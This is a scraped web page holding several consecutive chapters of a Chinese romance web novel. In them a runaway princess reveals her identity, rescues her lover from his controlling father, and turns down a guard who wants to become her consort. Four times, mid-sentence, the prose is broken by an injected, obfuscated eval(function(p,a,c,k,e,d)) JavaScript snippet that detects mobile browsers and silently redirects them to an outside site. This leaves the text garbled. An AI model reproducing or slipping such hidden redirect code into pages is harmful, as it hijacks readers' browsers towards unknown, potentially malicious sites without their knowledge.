饭桌上的众人都沉默了,皇权不可违抗,没有任何人可以忤逆皇上的决定。 “她说不走就不走,吃饭吧,一会儿菜凉了。”袁竹轻声说道。 那之后,饭桌上再没有人说话,直到姜佑安送走了王世镜和庄伯章,进来坐下吃饭,那种压抑的情绪都还没缓解过来。 “你叔叔和你大哥都走了?怎么也不留他们吃个饭?”袁竹说道。 阮荷剥了个粽子放在姜佑安碗里,姜佑安用筷子叉起来咬了一大口,“他们要是县里吃,不用管他们,咱们自己吃。” “你不跟他们一起走吗?”徐洪愿说道。 姜佑安拿筷子夹着桌上的菜,“我就不去了,黎泱泱那边有消息会过来告诉我的。” “公主殿下,你要回京城吗?”阮晨烟问道。 姜佑安笑了笑,“我不回京城,谁教你这么叫我的?” 阮晨烟也笑了,“我看他们都这么叫,我跟他们学的。” “别学这些,你还是叫我姐姐,我听着比较顺耳。”姜佑安说道。 “他们会帮你保守秘密吗?”袁竹问道。 姜佑安点了点头,“嗯,我让他们暂时不要告诉我爹。” “在县城里,那么多人都知道了你的身份,怕是瞒不了多久吧。”霍静说道。 “到时候再说吧,当务之急是先把戴老师和心柔找回来。”姜佑安说道。 众人点了点头,没再说什么,只看着姜佑安吃饭。 “你们也吃啊,都看着我干什么?”姜佑安说道。 “大家都没见过公主,想多看看,长长见识。”邵苏木笑着说道。 姜佑安无奈地笑了,“真是的,连邵老师都来打趣我,再看我,我可就要藏起来了。” “好了,都吃饭吧,下午我们也出去找找,说不定能知道戴老师和心柔的下落。”袁竹说道。 这边刚吃完饭,正在收拾东西,袁萱草从外面走了进来,拽着袁竹偷偷摸摸地问道:“我听见有人在传姜院长是当朝公主, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073346|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么不着调的话,到底是谁传出来的?这要是让官府的人知道了,不得杀头啊?” 袁竹叹了口气,“传话的人多,这秘密估计还是守不住。” “什么秘密啊?”袁萱草问道。 “姜佑安确实是公主,官府的人已经知道了,中午还来了两个大官,刚走没多久。”袁竹说道。 “啊?真的假的?”袁萱草一脸的不敢置信。 “真的,我骗你干什么?我倒希望是假的,这事传出去了,以后算是没有安生日子了。”袁竹说道。 袁萱草还是不敢相信,“她真的是公主?谁能证明?真不是瞎说的?” “我证明不了,反正是有这么个事,你爱信就信,不信就不信。”袁竹无所谓地说道。 见袁竹要走,袁萱草急忙拉住了她的袖子,“哎,你别走啊,我信,我信还不行吗?” 袁竹推开她的手,“别拉着我,等着干活呢。” “姜院长是公主,你还干什么活?凭你收留她的恩情,她不得给你一大笔钱啊?”袁萱草高兴地问道。 袁竹冷哼一声,“她哪有什么钱,她身上的钱还是我给的呢。” “你不是说来了两个大官吗?那两个官没给公主拿钱?”袁萱草问道。 “没有,就说了几句话就走了,连饭都没留下吃。”袁竹说道。 袁萱草很失望,“啊?那当了公主也没什么嘛,都还跟以前一样。” “本来就没什么,我要出门了,有什么事等我回来再说。”袁竹说着就往外走。 袁萱草跟了上去,“你要去哪儿啊?” “戴老师和心柔不见了,我去附近打听打听。”袁竹说道。 “戴老师不见了?他那么一个大活人,怎么会不见了?”袁萱草问道。 “这谁知道呢。”袁竹踏出大门,看见两个健壮的男人站在大门两边。 “对了,袁竹,我还想问你呢,这俩人是谁啊?为什么站在这里?”袁萱草站在袁竹身后问道。 “他们是那两个大官留下的,说要保护佑安的安全。”袁竹说道。 “哦,那这公主和普通人,还是有点区别的。”袁萱草说道。 辛开元从后面追上来,“娘子,你要出门吗?我跟你一起去。” “我也去。”袁萱草说道。 三人离开袁家没多久,又有一批官差来到袁家,说是展昌派来的,听候公主的调遣,姜佑安就派他们去稍远些的村子里找人去了。 傍晚,袁家人陆续回了家,说有人看到心柔出了南城门,还有人说看到心柔在大路上往袁家的方向走,后来就不见了。 官差回来复命,说没有找到人,姜佑安让他们散了,第二天再过来接着找,黎泱泱也过来了,说知县和县丞都说没有见到戴庭芳,营房里也没有心柔,他带着人在县城里查访了一下午,没有找到这两个人的踪迹。 姜佑安黎泱泱回去了,门口的守卫也给安排了住处,她站在袁家大门口,心急如焚地向外张望,直到天黑。 袁家大门关了,姜佑安站在二门内的走廊上来回踱步,突然,她听到了铃铛的响声,赶忙冲出去,打开了大门。 门外站着一个女人,没有打灯笼,姜佑安走近了才认出来是郭英。 “郭英?这个时候,你怎么来了?”姜佑安问道。 郭英四下看了看,拽着姜佑安快步闪进了门里,关上了大门,凑到她耳边低声说道:“心柔在我那里。” 177. 强权 “心柔在你那儿?”姜佑安惊讶地问道。 “嘘!”郭英赶忙捂上她的嘴让她噤声,“小点儿声,你这里不是被监控了吗?被人听见了怎么办?” 姜佑安扒开郭英的手,“这里,没有被监控啊。” “没有被监控?那上午和下午老有官差往这里来是怎么回事?不是来找心柔的吗?”郭英问道。 “上午的不是,下午的是找心柔的,不过,是我让他们去找的。”姜佑安说道。 “你让他们去的?”郭英皱起了眉头,在黑暗中审视着姜佑安的眼睛,“心柔说你要帮她逃走,你怎么还找人抓她?” “不是抓她,我是想知道她的下落,确认她的安全,知道她在你那里,我就放心了。”姜佑安打开门,向外看了看,门外什么人都没有,她回头向郭英问道:“只有心柔在你那里吗?戴老师呢?” “戴老师怎么了?”郭英问道。 “他本来跟我一起去了城隍庙,后来那里比较乱,我就找不到他了。”姜佑安说道。 “戴老师能去哪儿?回家了吧,你没去他家里问问?”郭英说道。 “去了,戴家的人说他没有回去,看来我明天得亲自去问问。”姜佑安说道。 郭英不放心地问道:“你这里真的没事吗?都安全吗?” “没事,心柔今晚就麻烦你了,明天你让她过来就好,也不用到外地去了,我安排她在袁家住下。”姜佑安说道。 “你让她在这里住?你疯了吗?她是逃走的官伎,私藏官伎,你又想被关进大牢里吗?我可不敢把她送过来。”郭英说道。 姜佑安觉得有必要跟郭英好好解释解释,她关上了院门,把郭英带到了耳房里,跟她讲了今天发生的事,又问了她是怎么救走心柔的。 郭英说她在袁家包了粽子回去,出门没多久,突然有一个女人从后面窜出来,向前面跑走了,郭英认出来是心柔,就叫住了她,心柔说官差来抓她了,郭英回头看到一队官差正朝袁家走过去,忙把心柔带去自己家藏了起来,心柔跟她说了姜佑安要帮她逃跑的事,她本想下午过来告诉姜佑安,又看见有人守在门口,直到晚上门口没人了,她才敢过来。 姜佑安说心柔没事就好,给郭英点了灯笼,让她回去了,郭英打着灯笼,走在回家的路上,还有些恍恍惚惚,姜佑安是公主?怎么可能呢? 第二天一早,姜佑安饭都没吃就往外走,黎泱泱已经在门口等着了。 “公主殿下。”黎泱泱上前行礼道。 “别跟我客套了,那马车是你带来的?”姜佑安问道。 “是,王大人说你可能用得着,让我带来的。”黎泱泱说道。 “你跟我上马车,咱们往戴家去。”姜佑安说道。 “是。”黎泱泱跟着姜佑安上了马车,车夫就催马往县城去了。 “昨天你见到戴老师的父母了吗?”姜佑安问道。 “见到了。”黎泱泱答道。 “戴老师的母亲跟你说什么了吗?她的状态如何?”姜佑安问道。 “她没说什么,也没有很着急的样子。”黎泱泱答道,“您是觉得戴公子就在戴家吧。” 姜佑安看向黎泱泱,“确实,我想不到他还能去哪儿,在昨天那种情况下,他不可能抛下我,自己走掉,肯定是有人把他带走了,还限制了他的自由,让他不能回来见我,能有动机这么做的,我想也只有他父亲戴克政了。” “时间都过了这么久了,戴院长还是不同意您和戴公子在一起?”黎泱泱问道。 “让戴克政那个老古板接受我,不是一件容易的事,更何况,我从没做过任何努力来获取他的欢心。”姜佑安坦然说道。 “戴院长要是知道了您是公主,他肯定会同意的。”黎泱泱说道。 姜佑安弯了弯嘴角,“但愿吧。” 马车来到戴家门口,黎泱泱搀扶着姜佑安下了车,让人进去通报,说长兴公主驾到,要戴克政亲自出来迎接。 戴克政昨天已经听说了姜佑安的事,也派人去县衙打探了情况,基本可以确定,姜佑安的真实身份就是公主,可就算如此,他也不想轻易妥协。 戴克政走出院门,把姜佑安迎了进去,让她在主位高坐,又向她行礼问好。 “不知公主大驾光临,有何贵干?”戴克政低头问道。 “我是来找戴庭芳的,他在这里吧。”姜佑安开门见山地问道。 “庭芳一向在女子书院,公主是再清楚不过的,怎么还来找我要人?”戴克政说道。 “昨天他和我一起去的城隍庙,后来却不见了,我派人到处找他都不见他的踪迹,昨天王知府派人来问,想必你也知道了庭芳失踪的事,你对此怎么看?”姜佑安问道。 戴克政平静地答道:“可能是在哪个朋友家里留宿了吧。” “庭芳有哪些朋友,你也都知道,你就没派人出去问问?”姜佑安说道。 “我们父子关系不睦,公主也清楚,恐怕我去找他,他也不会愿意跟我回来。”戴克政说道。 姜佑安冷哼一声,“你也会在乎他的意愿吗?” 戴克政抬起头来,生气地说道:“我怎么会不在乎?他是我辛苦养大的孩子,他读书写字都是我亲自教的,从小到大他都听话懂事,自从遇见了你,他就总要跟我对着干,要不是你从中挑唆,我们父子的关系,怎么会落到这个地步!” “你说是我挑唆,可我从没有强迫他做过任何事,所有的决定都是他自己做的,你们父子不睦,究竟是为什么,你问过他吗?有好好听过他的想法吗?你真的清楚他离开这里的理由吗?”姜佑安沉声问道。 戴克政一时语塞,沉默了片刻才说道:“他还年轻,看不清的事太多,我是他父亲,还能害他吗?我不过是希望他能步入正轨,在女子书院里瞎混,能混出什么名堂!” “戴院长,在您看来,什么才是正轨?”姜佑安问道。 “当然是科举入仕,虽然他现在不被允许进入官场,但只要他坚持在书院教书,日后定有学生能走上青云之路,到时候拉他一把,是很容易的事,女子书院的学生又不能考科举做官,教她们能有什么出息?”戴克政说道。 姜佑安点了点头,“戴院长说的也不无道理,庭芳要想重进官场,这确实是一个办法,不过,戴院长,您还是没有问过庭芳,他想不想继续当官。” “读书之人,哪个不是为了当官?这还需要问吗?”戴克政说道。 “戴院长,您还是叫庭芳出来,亲自问问他比较好。”姜佑安说道。 “不必了。”戴克政挺身而立,挥了一下手,“这件事我自会好好劝他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079855|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不劳公主殿下费心了。” 姜佑安笑了笑,“戴院长这样胸有成竹,想必庭芳就在府上吧。” “没错,他就在家里。”戴克政看着姜佑安,毫不避讳,“婚姻本就是父母之命、媒妁之言,公主已有婚约,不该再来找庭芳,他的婚事,我会给他安排的。” “庭芳说他想要留在我身边。”姜佑安说道。 “我是他爹,他娶谁,我说了算。”戴克政蛮横地说道。 姜佑安站起身来,“我是公主,我想要见他,你也感拦着吗?” 戴克政毫不气馁,直言道:“我只是一介平民,公主想要以强权压人,我也没有办法,不过,公主身有婚约还要强占我儿子,传出去,只怕有损皇室颜面。” 姜佑安气得笑了起来,“我是强权,你这样不顾孩子意愿的父亲,难道就不是强权吗?” “我是为他好!”戴克政坚持道。 “好,看来我们没有办法说服彼此。”姜佑安坐回了椅子上,“你也知道强权压迫下,人只能被迫服从,既然你我都是强权,那我们就都不要强迫他,你把戴庭芳带出来,崇正书院还是女子书院,让他自己选。” 戴克政不同意,“我可以做他的主,不用问他。” “我是公主,我可以做你们的主,不用问你的意见,我把戴庭芳搜出来就带走,你觉得如何?是不是不太公平?”姜佑安问道。 戴克政有些犹豫,“这……” “你把戴庭芳带出来,还可以再劝劝他,如果他说不跟我走,那我保证,以后再不会来找他,如果你不让他出来,那我就去找王知府,把你们戴家翻个底朝天,也要把他找出来。”姜佑安冷静地劝诱道。 戴克政思虑了片刻,向旁边候着的小厮命令道:“去把庭芳带过来。” 被关了一天一夜的戴庭芳被小厮放了出去,听说姜佑安来找他,他急切地来到了会客厅,就见姜佑安端坐在主位上,身边站着黎泱泱,戴克政恭敬地立在堂下。 姜佑安站起身来,快步迎了上去,抬手抚摸着他憔悴的脸,关切地问道:“戴老师,你没事吧?” “我没事。”戴庭芳握着姜佑安的手,轻轻笑了,“我就知道你会来找我的。” “庭芳!不可造次!这位是当朝长兴公主,快向她行礼!”戴庭芳说道。 戴庭芳看了看戴克政,又看了看姜佑安,有些茫然地问道:“公主?” 姜佑安紧紧握住戴庭芳的手,脸上带着微笑,“你不用管这些,我是来接你的,你愿意跟我走吗?” 戴庭芳笑着点了点头,“我愿意。” “庭芳!”戴克政走过去,拉着戴庭芳的胳膊把他扯到一边,“她是和历国王爷有婚约的公主,你如何能跟她走?你要以什么身份留在她身边?你只是一个平民,和公主有着天壤之隔,皇上是不会允许她嫁给你的,你就听我的,老实留在家里教书吧。” “婚约?”戴庭芳想起来姜佑安曾经说过,她和一个老男人有婚约,她是逃婚出来的,“那个婚约还作数吗?” “怎么会不做数?这是国家之间的大事,不是你我能左右的,只要皇上不答应,谁都不能娶她,连她自己都没办法反抗,庭芳,我会另给你找一个合适的姑娘,让你们择日成婚,你就放弃她吧,别蹚这趟浑水了。”戴克政劝道。 178. 抉择 戴庭芳看向姜佑安,神情变得沉痛,“你真的是长兴公主?” “是,婚约也是真的。”姜佑安看着戴庭芳的眼睛,眼神坚定,“不过,我并不想顺从我爹,才会逃了出来,我想和你在一起,你呢?你愿意选择我吗?” 想到姜佑安从和亲队伍中逃出来,孤身一人要和整个皇权对抗,戴庭芳再次被姜佑安的勇气和坚韧所折服,他推开戴克政的手,走到了姜佑安面前。 “我愿意。”戴庭芳郑重其事地说道。 戴克政气得直跺脚,“逆子!你这个逆子!你把我这个父亲当什么了?你一点儿都不考虑我们家的名声吗?你跟在她身边算什么?你以为你真的能娶她?她是有丈夫的人,你算什么?男宠还是面首?你丢不丢人啊!你让我们戴家以后还怎么在县里立足?你想让我被所有人耻笑吗?” 看着戴克政暴跳如雷,戴庭芳倒显得很平静,“姜院长爱的是我,她的丈夫只能是我,这是我在心里早就认定了的,入赘也好,男宠也好,我都不在乎,所谓的名声好不好听,更是不值一提,我只要能留在她身边,能继续教书就好。” “你!”戴克政的胸口剧烈起伏着,“你把你爹气死了,你也不在乎是不是?” “爹,这是我自己的选择,你不要为我生气,不值得,你还有娘,还有书院的学生,只要你放宽心,没有人会为难你的,你要是觉得我丢人,可以不认我这个儿子,等你和娘老了,我还是会为你们养老送终的。”戴庭芳说道。 戴克政听了这些话,更生气了,抬手就要打人,“你这个逆子,你还教训起我来了!还说什么不认你这个儿子,我看你心里压根就没我这个爹!” 姜佑安把戴庭芳护在身后,瞪着戴克政说道:“他是本公主的人,不是你想打就能打的。” 黎泱泱和几个侍卫马上护在了姜佑安身边,戴克政的气焰顿时被浇灭,扬起的手缓缓放下,儿子不听他的,公主有权有势,他又能怎么办呢? “庭芳已经做出了选择,我这就带他走了。”姜佑安牵着戴庭芳的手向外走,轻声问道:“戴老师,你要不要跟你娘打个招呼。” “我昨天见过我娘了,没事的。”戴庭芳看到程祥远远地站着,正在朝这边张望,他招了招手,“程祥,你过来。” 程祥赶忙跑了过来,“公子,老爷放你出来了?” “程祥,你知道戴老师在这里,怎么都不去给我送个信儿,害我白白担心了一晚上。”姜佑安说道。 “我也想去给你送信儿,可老爷命人看着我,不让我出去,我想送信儿也送不出去啊。”程祥有些委屈地说道。 “姜院长就是随口说说,不是真的怪你,程祥,你跟我娘说一声,我先回袁家去了,过些日子再回来看她。”戴庭芳说道。 “你放心,我一定把话带到。”程祥看着姜佑安,小心翼翼地问道:“我听说姜院长变成公主了,是真的吗?” 姜佑安笑了起来,“你觉得我要不是公主,戴院长会这么轻易地放我们走吗?” 程祥也笑了,兴奋地问道:“你是公主,那我们公子不就是驸马了?” “这个嘛,还不好说,戴老师也累了,我先带他回去了,改日再跟你细聊。”姜佑安挽着戴庭芳的胳膊向外走。 程祥跟上去,又问了几句霍静的近况,才转身回去。 姜佑安带着戴庭芳出了戴家的院门,扶他上了马车,便往袁家去了。 戴庭芳掀开窗帘往外看了看,向姜佑安小声问道:“黎公子怎么会在这里?他不是跟着王大人外调了吗?” “没错,他就是王大人派过来,我们坐的马车,也是王大人的。”姜佑安微笑着说道。 “王大人来这里了?什么时候来的?他为什么要派黎泱泱过来?怎么还把自己的马车给你了?”戴庭芳接连问道。 “你的问题可真多。”姜佑安笑了笑,“王大人是前天来的,他在定州有一处宅子,最近在那边休假,展知州听说县里要办祭祀典礼,还要找女学生过来跳舞,就顺便邀请了王知府一起过来看,恰巧我大哥庄伯章也在他家里,王大人带着我大哥一起来了。” “这么说,你和王大人还有大皇子在祭祀典礼上遇见了?怪不得连程祥都听说了,这下全县的人都知道了吧,对了,知县和县丞知道了你的身份,他们有没有为强迫学生跳舞的事向你道歉?”戴庭芳说道。 姜佑安轻轻摇头,“没有,他们不但要看学生跳舞,还准备了龙袍,要诬陷我谋反,幸亏我大哥出现,证明了我的身份,要不然,我们袁家所有人,都要在大牢里待着了。” “谋反?!”戴庭芳发出一声惊呼,“他们怎么能把这么大的罪名往你头上扣?” “为了钱财,为了女人,还为了报复,蒋启连、吴思恭和霍祭太互相勾结,要把我们全部下狱,这样我们的钱财田产就都归他们了,连我们袁家的这些女人,也要被没入贱籍,沦为官伎,供他们取乐。”姜佑安说道。 戴庭芳听得握紧了拳头,“太过分!真是太过分!这样构陷无辜的百姓,他们根本不配为官!不配为人!” 姜佑安伸出双手,握住了戴庭芳的手,“别生气了,展知州已经将他们问罪了,霍祭太也被当场射杀,袁家的人都没事,只是找不到你,让我格外担心。” “没想到我不在的时候,竟然发生了这么大的事,我应该陪着你才是。”戴庭芳充满悔恨地说道。 姜佑安微微一笑,“这不怪你,好在现在你回来了,我也就安心了。” 戴庭芳心疼地抚摸着姜佑安的脸,“让你担心了,昨晚没睡好吧。” “不止没睡好,我连早饭都没吃,就等你回来陪我一起吃饭了。”姜佑安笑着说道。 戴庭芳也笑了,“我何德何能,能让公主这么记挂我,以后就算我不在,你也一定要好好吃饭,好好睡觉才是。” 姜佑安揽着戴庭芳的腰,头轻轻靠在他的肩上,“我一闭上眼睛,就忍不住去想,你去了哪里,遭遇了什么,会不会有危险,我想不出你有什么仇家,要是你不在戴家,我就把整个泰安县都翻一遍,要是还找不到你,就把附近的村镇都搜查一遍,想得多了,我就睡不好,也吃不下。” 戴庭芳侧过脑袋,在姜佑安的额头上亲了一下,“谢谢你愿意来找我,因为有你在,我才有勇气跟我爹对抗。” 姜佑安抬起头,把嘴凑了过去,“不够,亲这里。” 戴庭芳捧着姜佑安的脸,在她脸上亲了一下,“马车上颠簸,别磕着你,回家去再亲吧。” 姜佑安挣开戴庭芳的手,迅速在他嘴唇上亲了一下,然后开心地笑了,“现在亲现在的,回家还有回家的,互不耽误。” 戴庭芳把姜佑安抱在怀里,露出了幸福的笑容。 两人回到袁家,心柔和郭英已经在堂屋里等着了,郭英说官差来过,知道心柔回来了,他们就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085353|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回县里去了,姜佑安让心柔先住下,改日再说脱籍的事。 袁家众人见戴庭芳回来了,也都放了心,让戴庭芳和姜佑安在堂屋里坐下,又端来了饭菜给二人吃。 姜佑安吃着饭,看到有人不停地出入东边的房间,她奇怪地问道:“这些人是哪来的?不是咱们袁家的人吧。” “哦,忘了告诉你了,这些人是王大人派来的,王大人说耳房太小,你在那里住不合适,要你还搬回这个房间里来。”徐洪愿说道。 “他还做起我的主了。”姜佑安摇了摇头,继续埋头吃饭,她从昨天晚上起就没怎么吃东西,饿到现在,已经是前胸贴后背了。 “我们想想,觉得也有道理,你是公主,应该住主屋,大家就把屋里多余的床都抬了出去,这屋里的人都搬到新院里去了,耳房里也放了杂物,以后你就住这间房吧。”徐洪愿说道。 “住哪里都行,只要有床睡就好。”姜佑安无所谓地说道。 “不光有床,王大人还送了好些衣服、首饰、布料和被褥,还有各种点心吃食,都放你房间里了,还有好多鸡鸭鱼肉,都拿厨房去了,一下子送这么多东西来,王大人对你可真大方。”徐洪愿笑着说道。 “我还以为外面的马车是来逛园子的客人的,原来是他的。”姜佑安说道。 “王大人平白无故送这些东西过来,不会是有求于你吧。”戴庭芳说道。 “我只是个被外嫁的公主,帮不了他什么,他对我好,除了因为我的身份,还因为我和他侄女是从小一起长大的交情,我当他是叔叔,他也当我是亲侄女一般。”姜佑安说道。 吃过饭,房间也布置好了,王世镜派来的人便都回去了,姜佑安去房间里逛了一圈,里面布置一新,花瓶里插着花,香炉里点着香,椅子上都放着软垫,原本搁置的梳妆台上放上了全新的妆奁。 姜佑安不太感兴趣,只觉得困了想要睡觉,戴庭芳不愿意在这边睡,说要回去,姜佑安没有留他,而是和他一起去了戴庭芳的住处。 两人走出院门后,黎泱泱带着几个侍卫就跟了上去,姜佑安说要回去睡觉,不用他们守着,让他们回去找王世镜去,大家看向黎泱泱,征求他的意见,黎泱泱想了想,就让侍卫们都回去了。 姜佑安和戴庭芳回了小院,关上房门,就上床睡觉去了。 两人相拥而眠,姜佑安睡得很香,再醒来时,也不知是什么时刻,她见戴庭芳还在睡着,没有惊动他,自己轻手轻脚地起了床。 轻轻打开房门,姜佑安看到黎泱泱站在门口。 “你怎么没走?”姜佑安轻声问道。 “我要守卫公主的安全,不敢轻易离开。”黎泱泱说道。 姜佑安打开门,从屋里拿出一把椅子来给他,“你一直守在这里?累了吧,坐下歇歇。” “不用,我站着就好。”黎泱泱说道。 姜佑安又回去拿了一把椅子出来,关上门,她在椅子上坐下,“客气什么,这里又没有外人。” 黎泱泱听了,便同姜佑安一起坐在了走廊下。 “这两天辛苦你了,我因为担心戴老师,还没有好好跟你说过话。”姜佑安说道。 “公主殿下客气了,为您和大人办事,是我的职责所在。”黎泱泱低着头,谦卑地说道。 姜佑安不满地看着黎泱泱,“你一定要这么说话吗?我们是旧相识,知道我是公主,你就想装作不认识我了?” 179. 男宠 “没有。”黎泱泱犹豫了片刻,才说道:“以前是我多有冒犯,我应该向公主道歉。” “我不觉得你有什么冒犯,我们也只是普通的交往而已,要说冒犯,当初我要你抱我,才是冒犯了你吧。”姜佑安笑着说道。 “不,我要你跟我到定州城去,才是冒犯。”黎泱泱说道。 “哦,你是说那件事啊。”姜佑安靠着椅背,抬头看向广阔的天空,“我记得那时你说要娶我,我不同意,你才会这么说的,是留在这里,还是跟你去定州城,我当时还真犹豫了。” 黎泱泱只觉得很后悔,“我说要娶你,更是冒犯。” “还好吧,毕竟那时候,我还挺喜欢你的,可惜定州城太远了点儿,你要是留在这里,说不定我当时就能过去和你一起住了。”姜佑安笑了笑,“不过,你爹肯定不同意,你跟你爹现在关系怎么样了?” “能给知府大人当贴身侍卫,我爹说他以我为荣,以后不继承弓箭铺也没关系。”黎泱泱说道。 “挺好嘛,当时看起来那么严重的问题,现在也都迎刃而解了。”姜佑安说道。 “是啊,发生了很多我预料不到的事情,当初你要去锦标社比赛,我怎么也想不到,你竟然就是长兴公主。”黎泱泱看向姜佑安,眼神中透露出他的担忧,“我和我爹的事情还好说,你和皇上,还会和好吗?” “应该不会了,从他答应送我去和亲的那天起,我就只当没他这个爹了。”姜佑安说道。 黎泱泱看着姜佑安,她的言行举止和衣着打扮,实在和公主的身份相去甚远,但她又真的是公主。 “你还会回京城去吗?”黎泱泱问道。 “应该是要回的,流言要是传得慢,我还能在这里多待一阵子,等传到了我爹耳朵里,他肯定是要派人把我接回去的。”姜佑安说道。 “你会京城的时候,可以把我带上吗?”黎泱泱问道。 “你?”姜佑安转头看向黎泱泱,“你为什么想跟我走?” “我一直是喜欢你的,就算你不愿意跟我成亲,我还是想留在你身边。”黎泱泱说道。 姜佑安轻轻笑了,“如果是以前,我真的会心动,但现在,我身边已经有戴老师了。” 黎泱泱起身走过来,蹲在了姜佑安的身前,“你养了那么多男宠,多我一个也不算多吧。” 姜佑安低头看着他明亮的眼睛,笑着问道:“你不是说,不想被一个女人掌控吗?” 黎泱泱把手搭在姜佑安的手膝上,笑意盈盈地看着她,“如果那个人是你,我愿意。” “真的吗?”姜佑安收敛了笑意,淡淡吐出两个字,“跪下。” 黎泱泱收回手,缓缓跪在姜佑安身前,脸色有些僵硬,“我说错什么话了吗?” “没有。”姜佑安向前探身,抬手抚上黎泱泱的脸,“做男宠就是这么一回事,受人摆布的滋味,你觉得如何?” 黎泱泱眼帘低垂,轻声说道:“能得到公主的喜爱,是我的荣幸。” “我不想听这些假话。”姜佑安抬起黎泱泱的下巴,强迫他看着自己,拇指轻轻磨蹭着他的嘴唇,“做男宠和做妾别无二致,主人也许会因为你的才色喜欢你,也会因为喜欢上新人而厌弃你,做妾是无奈之举,你主动要做男宠,不觉得太傻了吗?要如何笼络住一个女人的心,你会吗?” “你是我此生唯一倾慕的女子,我会听你的话,用真心对你。”黎泱泱说道。 姜佑安的手指下移,抚摸着黎泱泱小麦色的肌肤,食指抵在了他的喉结上,“真心?我要是有真心,又怎么会养那么多男宠?我只喜欢美色,不会对任何一个人付出真心。” 黎泱泱挺直了上半身,伸手抓住了姜佑安的手,目光灼灼地看着她,“那戴公子呢?你为什么留他在身边?我听说你们都要成亲了,你不是说不想嫁人吗?” “我确实不想嫁人,戴老师是要入赘给我。”姜佑安坦然答道,“而且他是我学院的老师,我需要他。” “我也可以入赘,我还可以做你的近身侍卫,在你身边保护你。”黎泱泱说道。 “我已经不是以前那个我了,我不想做公主,以后也不再养男宠,更不需要侍卫。”姜佑安抽回了自己的手,“我不会留下你,我曾经是很喜欢你,但错过了就是错过了。” 黎泱泱还有些不死心,“要是当初我留下来,和你一起办弓箭社,一切是不是就都不一样了?” “何必说这些呢?没有和我在一起,你不也一样活得好好的?我们都有各自的生活,没有必要再纠缠在一起。”姜佑安起身把黎泱泱扶了起来,“做男宠就是完全依附于他人,你不适合,别再想这些了。” “你会带戴公子回京城吗?”黎泱泱问道。 “不会,我破坏了我爹的和亲计划,他肯定要大发雷霆,我回去也没什么好下场,带着他也无益。”姜佑安说道。 戴庭芳突然打开了房门,从两人身后走了出来,“我要去京城!” 姜佑安回过头,表情有些惊讶,“你醒了?” 戴庭芳走到姜佑安身边,神情严肃地重复道:“我要跟你一起去京城。” 姜佑安笑了笑,“京城不是你的伤心地吗?你还想回去?” “那些旧事,我早就不在意了,你昨日遇险我已然缺席,你要回去对抗皇上,我必须陪着你。”戴庭芳说道。 姜佑安轻咬着下唇,有些为难地说道:“我是皇上的女儿,再怎么说,他也会有所顾虑,不会把我怎么样,但你没有任何家世背景,万一他一生气,要处死你,我怕会没办法保全你。” “皇上要是不同意我们在一起,那我们就不成亲,你把我带在身边,只当是一个男宠,皇上总不至于为难一个男宠吧。”戴庭芳说道。 “你胡说什么呢!谁要你当男宠了?”姜佑安说道。 戴庭芳的神情很是认真,“当初你自己说的,要是你父亲强迫你嫁人,你就把我带在身边当男宠,你要反悔吗?” 姜佑安牵起戴庭芳的左手,微笑着安慰道:“我那是开玩笑的,你别当真,这件事,我们再商量就是了。” 戴庭芳顺势伸出右手,揽住姜佑安的腰,把她抱在了怀里,“再怎么商量,我都要跟着你,为了赘给你,我都跟我爹反目了,你别想丢下我。” “戴老师,你这样,是不是太任性了?”姜佑安抬头看着他,轻声问道。 “你是我娘子,我理应跟着你,这不是任性,是情理之中的事。”戴庭芳说道。 姜佑安笑了起来,眼睛里荡漾着温柔的爱意,“你不是说,没成亲不能叫娘子吗?” 戴庭芳收紧了胳膊,“反正你是我娘子,要不然,我们明天就成亲吧,你不是嫌成亲麻烦吗?我只把我娘请来,让她做个见证,再让袁竹她们来吃个饭就行了,只要我们成亲了,我才不在乎是不是驸马,做不做男宠,哪怕当个小厮也行,对,不如我就卖身给你,你是主人,我是仆人,这样我就能留在你身边……” 姜佑安抬手捂上了戴庭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089295|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芳的嘴,白了他一眼,“越说越不像话了,谁要你卖身了?” 